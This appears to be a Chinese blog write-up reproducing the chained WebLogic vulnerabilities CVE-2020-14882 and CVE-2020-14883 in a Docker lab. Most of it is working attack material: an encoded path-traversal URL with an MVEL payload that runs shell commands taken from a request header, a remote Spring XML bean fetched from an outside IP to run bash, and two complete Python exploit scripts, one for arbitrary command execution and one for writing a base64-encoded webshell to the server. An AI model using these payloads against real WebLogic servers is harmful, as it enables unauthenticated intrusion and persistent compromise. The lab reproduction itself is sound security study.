简介
本次复现为两个漏洞,前者CVE-2020-14882为绕过weblogic控制台认证、后者CVE-2020-14883为经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE
参考:
- https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
- https://blog.csdn.net/weixin_41598660/article/details/109409965
复现过程
环境准备
下载docker-compose.yml文件,然后执行docker-compose up -d
即可搭建出漏洞环境
但是weblogic的漏洞环境镜像比较大,下载起来比较耗时,这里直接提供百度网盘的下载链接,提取码cdlr
,解压之后的文件weblogic.tar的SHA256校验和:5A16598CB64FF0724459FD1E1EC975B4303BF8C495EF3BCA6DFB4D39A4E07654
验证文件无误后,执行docker load < weblogic.tar
,然后docker images
查看一下刚加载进来的weblogic镜像的IMAGE ID
,将docker-compose.yml文件中的vulhub/weblogic:12.2.1.3-2018
改成刚才获取到的IMAGE ID
即可
设置好浏览器代理,使用burp进行抓包
抓包获取cookie
在浏览器中访问:http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal
查看burp的HTTP history
,找到cookie中带有ADMINCONSOLESESSION
的请求包,转到Repeater模块中
构造回显payload
构造出如下数据包:
- 将GET请求改为
/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
- 在请求体中添加
cmd
头部,值就是你想要执行的命令:cmd:whoami
如下,执行的命令结果会显示在响应包的body中
老版本(12以下)的利用方式
由于10.x的版本没有com.tangosol.coherence.mvel2.sh.ShellSession
类,需要通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
类来加载外部xml执行命令
在我们的web服务器上放置一个xml文件,内容如下:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
其中touch /tmp/success2
是我们想要执行的命令
访问如下URL即可:
http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://144.34.164.217/theme/css/1.xml")
这种利用方式的弊端就是如果目标服务器不出网,也没啥用,因为无法加载外部的xml文件,除非你是在目标内网里面
exp脚本编写
执行命令
# -*- coding: UTF-8 -*-
import sys
import re
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
print('usage: python3 exp.py http(s):target-ip:target-port command')
sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
i = 3
while i < len(sys.argv):
cmd += ' '
cmd += sys.argv[i]
i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
#忽略https证书错误的问题,第二个请求也一样
response = requests.get(res, allow_redirects=False, verify=False)
print('---------------------------------------raw header---------------------------------------')
print(response.headers)
print('---------------------------------------raw header---------------------------------------\n\n')
cookie_raw = response.headers['Set-Cookie']
matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
cookie = matchObj.group(1)
print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++')
print('cookie get!\n')
print(cookie)
print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++\n\n')
else:
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('no cookie')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n')
sys.exit();
#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False, verify=False)
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')
print(response.text)
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')
写入文件
# -*- coding: UTF-8 -*-
import sys
import re
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
print('usage: python3 exp.py http(s):target-ip:target-port command')
sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
i = 3
while i < len(sys.argv):
cmd += ' '
cmd += sys.argv[i]
i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
#忽略https证书错误的问题,第二个请求也一样
response = requests.get(res, allow_redirects=False, verify=False)
print('---------------------------------------raw header---------------------------------------')
print(response.headers)
print('---------------------------------------raw header---------------------------------------\n\n')
cookie_raw = response.headers['Set-Cookie']
matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
cookie = matchObj.group(1)
print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++')
print('cookie get!\n')
print(cookie)
print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++\n\n')
else:
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('no cookie')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n')
sys.exit();
#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22data='你的经过base64编码的马子';data=new String(new sun.misc.BASE64Decoder().decodeBuffer(data));out=new java.io.PrintWriter('你想要写入文件的绝对路径,这个可以通过前面的命令执行脚本获得');out.print(data);out.close();%22);"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False, verify=False)
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')
print(response.text)
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')
用法:
python3 exp.py http://127.0.0.1:7001 -